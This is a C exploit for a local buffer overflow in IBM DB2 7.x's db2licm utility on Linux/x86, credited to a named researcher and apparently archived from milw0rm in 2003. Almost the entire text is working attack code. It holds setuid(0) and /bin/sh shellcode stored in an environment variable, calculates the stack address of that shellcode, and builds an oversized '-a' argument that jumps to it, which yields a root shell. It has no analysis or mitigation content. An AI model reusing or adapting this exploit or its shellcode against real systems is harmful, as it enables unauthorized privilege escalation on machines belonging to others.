IBM DB2 - Universal Database 7.2 'db2licm' Local Overflow

/*
	Local Exploit for db2licm
	IBM db2 v 7.1 Linux/x86

	vulnerability researched by
	Juan Manuel Pascual Escriba
	pask at uninet.edu


 */



char sc[]=
"\x31\xc0"      /* begin setuid (0) */
"\x31\xdb"
"\xb0\x17"
"\xcd\x80"

"\xeb\x1f"
"\x5e"
"\x89\x76\x08"
"\x31\xc0"
"\x88\x46\x07"
"\x89\x46\x0c"
"\xb0\x0b"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\x31\xdb"
"\x89\xd8"
"\x40"
"\xcd\x80"
"\xe8\xdc\xff\xff\xff"
"/bin/sh";


#define STACK_TOP_X86 0xC0000000
#define ALG_MASK 0xfffffff4
#define ADDR 1000
#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"

#define DFL_ALG 4

int main(int arc, char **arv){
        char *argv[3];
        char *envp[2];
        unsigned long sc_address, ba=0;
        unsigned char alg = DFL_ALG;
        unsigned long *p;
        unsigned char *q;
        unsigned int i;



        sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;
        printf("shellcode address = 0x%X\n",sc_address);


        if( (sc_address & ALG_MASK) != sc_address ) {
                ba = sc_address - (sc_address & ALG_MASK);
                printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,
sc_address & ALG_MASK);
                sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;
                printf("new shellcode address = 0x%X\n",sc_address);
        }

        envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);
        q = envp[0];
        strcpy(q,"pete=");
        q += strlen("pete=");
        memcpy(q,sc,sizeof(sc));
        q += sizeof(sc)-1;
        memset(q,'A',ba);
        q += ba;
        *q = 0;
        envp[1] = 0;

        /* build overflowing arvg[2] */


        printf("using alignment = %d in overflow buffer\n",alg);

        argv[0] = DB2LICM;
	argv[1] = "-a";
        argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);
        memset(argv[2],'A',alg);
        p=(unsigned long*)(argv[2]+alg);
        for(i=0;i<ADDR;i++) {
                *p = sc_address;
                p++;
        };
        *p = 0;
        argv[3] = 0;

        printf("executing %s ...\n\n",argv[0]);
        execve(argv[0],argv,envp);


}

// milw0rm.com [2003-09-27]